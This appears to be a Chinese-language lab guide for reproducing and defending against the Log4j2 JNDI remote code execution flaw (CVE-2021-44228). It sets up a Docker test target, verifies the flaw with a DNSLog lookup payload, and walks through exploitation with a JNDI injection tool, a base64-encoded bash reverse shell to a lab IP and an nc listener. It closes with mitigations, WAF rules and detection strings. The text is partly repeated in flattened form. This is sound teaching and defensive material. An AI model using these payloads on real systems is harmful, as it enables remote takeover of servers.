Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容
字数 1584 2025-08-11 08:35:36

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)复现与防御指南

漏洞概述

Apache Log4j2 是一个广泛使用的Java日志记录工具,其2.x <= 2.14.1版本存在严重的JNDI注入漏洞(CVE-2021-44228),CVSS评分为10分(最高危险等级)。攻击者可通过构造特殊日志消息触发远程代码执行。

漏洞原理

JNDI基础

JNDI(Java Naming and Directory Interface)是Java提供的标准命名和目录服务接口,支持通过统一API访问多种服务如:

  • RMI (远程方法调用)
  • LDAP (轻量级目录访问协议)
  • DNS (域名服务)
  • 文件系统等

攻击者利用lookup()方法解析恶意构造的URL,如:${jndi:rmi://attacker-ip:1099/malicious}

攻击流程

  1. 应用程序使用Log4j2记录用户输入
  2. 输入中包含恶意JNDI查找字符串,如${jndi:ldap://attacker-ip/exp}
  3. Log4j2解析并执行JNDI查找
  4. 从攻击者控制的LDAP/RMI服务器下载恶意.class文件
  5. 目标服务器执行恶意代码,完成攻击

受影响版本

Apache Log4j 2.x <= 2.14.1

环境搭建

使用Vulhub搭建靶场

  1. 下载Vulhub:https://vulhub.org/#/docs/
  2. 使用Docker搭建环境:
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest

漏洞验证

使用DNSLog验证

  1. 获取DNSLog域名(如:nlhkzw.dnslog.cn
  2. 构造Payload:${jndi:ldap://nlhkzw.dnslog.cn}
  3. 通过BurpSuite发送URL编码后的请求
  4. 在DNSLog平台检查是否有解析记录

漏洞利用

使用JNDI-Injection-Exploit工具

  1. 下载工具:https://github.com/bkfish/Apache-Log4j-Learning
  2. 启动攻击服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "攻击机IP"

反弹Shell利用

  1. 准备Base64编码的反弹Shell命令:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1

编码后示例:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx
  1. 启动JNDI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.109.128
  1. 在攻击机监听端口:
nc -lvnp 4444
  1. 通过BurpSuite发送恶意Payload(需URL编码)

常见问题排查

  1. 环境搭建问题

    • 检查Docker服务是否正常运行
    • 确保端口未被占用
    • 验证镜像是否成功下载
  2. DNSLog问题

    • 尝试不同DNSLog平台
    • 检查网络连接是否正常
    • 确认Payload是否正确编码
  3. BurpSuite问题

    • 确保代理设置正确
    • 检查拦截功能是否开启
    • 验证请求是否成功发送

防御措施

临时缓解方案

  1. 设置JVM参数:
-Dlog4j2.formatMsgNoLookups=true
  1. 设置Log4j2配置:
log4j2.formatMsgNoLookups=True
  1. WAF防护:
    • 拦截包含${jndi:的请求
  2. 网络限制:
    • 禁止系统主动外连网络(DNS/TCP/IP/ICMP)

根本解决方案

升级到安全版本:log4j-2.15.0-rc2或更高版本

检测方法

  1. 日志分析:
    • 检查日志中是否包含"jndi:ldap://"、"jndi:rmi"等特征字符串
  2. 版本检查:
    • 检查pom.xml中的Log4j2版本
  3. 安全产品:
    • 使用专业漏洞扫描工具检测

参考资源

  1. CNNVD漏洞详情:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202112-799
  2. NVD漏洞详情:https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=CVE-2021-44228
  3. 技术分析文章:https://blog.csdn.net/weixin_46198176/article/details/124917641
Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)复现与防御指南 漏洞概述 Apache Log4j2 是一个广泛使用的Java日志记录工具,其2.x <= 2.14.1版本存在严重的JNDI注入漏洞(CVE-2021-44228),CVSS评分为10分(最高危险等级)。攻击者可通过构造特殊日志消息触发远程代码执行。 漏洞原理 JNDI基础 JNDI(Java Naming and Directory Interface)是Java提供的标准命名和目录服务接口,支持通过统一API访问多种服务如: RMI (远程方法调用) LDAP (轻量级目录访问协议) DNS (域名服务) 文件系统等 攻击者利用 lookup() 方法解析恶意构造的URL,如: ${jndi:rmi://attacker-ip:1099/malicious} 攻击流程 应用程序使用Log4j2记录用户输入 输入中包含恶意JNDI查找字符串,如 ${jndi:ldap://attacker-ip/exp} Log4j2解析并执行JNDI查找 从攻击者控制的LDAP/RMI服务器下载恶意.class文件 目标服务器执行恶意代码,完成攻击 受影响版本 Apache Log4j 2.x <= 2.14.1 环境搭建 使用Vulhub搭建靶场 下载Vulhub: https://vulhub.org/#/docs/ 使用Docker搭建环境: 漏洞验证 使用DNSLog验证 获取DNSLog域名(如: nlhkzw.dnslog.cn ) 构造Payload: ${jndi:ldap://nlhkzw.dnslog.cn} 通过BurpSuite发送URL编码后的请求 在DNSLog平台检查是否有解析记录 漏洞利用 使用JNDI-Injection-Exploit工具 下载工具: https://github.com/bkfish/Apache-Log4j-Learning 启动攻击服务: 反弹Shell利用 准备Base64编码的反弹Shell命令: 编码后示例: 启动JNDI服务: 在攻击机监听端口: 通过BurpSuite发送恶意Payload(需URL编码) 常见问题排查 环境搭建问题 : 检查Docker服务是否正常运行 确保端口未被占用 验证镜像是否成功下载 DNSLog问题 : 尝试不同DNSLog平台 检查网络连接是否正常 确认Payload是否正确编码 BurpSuite问题 : 确保代理设置正确 检查拦截功能是否开启 验证请求是否成功发送 防御措施 临时缓解方案 设置JVM参数: 设置Log4j2配置: WAF防护: 拦截包含 ${jndi: 的请求 网络限制: 禁止系统主动外连网络(DNS/TCP/IP/ICMP) 根本解决方案 升级到安全版本:log4j-2.15.0-rc2或更高版本 检测方法 日志分析: 检查日志中是否包含"jndi:ldap://"、"jndi:rmi"等特征字符串 版本检查: 检查pom.xml中的Log4j2版本 安全产品: 使用专业漏洞扫描工具检测 参考资源 CNNVD漏洞详情:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202112-799 NVD漏洞详情:https://nvd.nist.gov/vuln/search/results?form_ type=Basic&results_ type=overview&query=CVE-2021-44228 技术分析文章:https://blog.csdn.net/weixin_ 46198176/article/details/124917641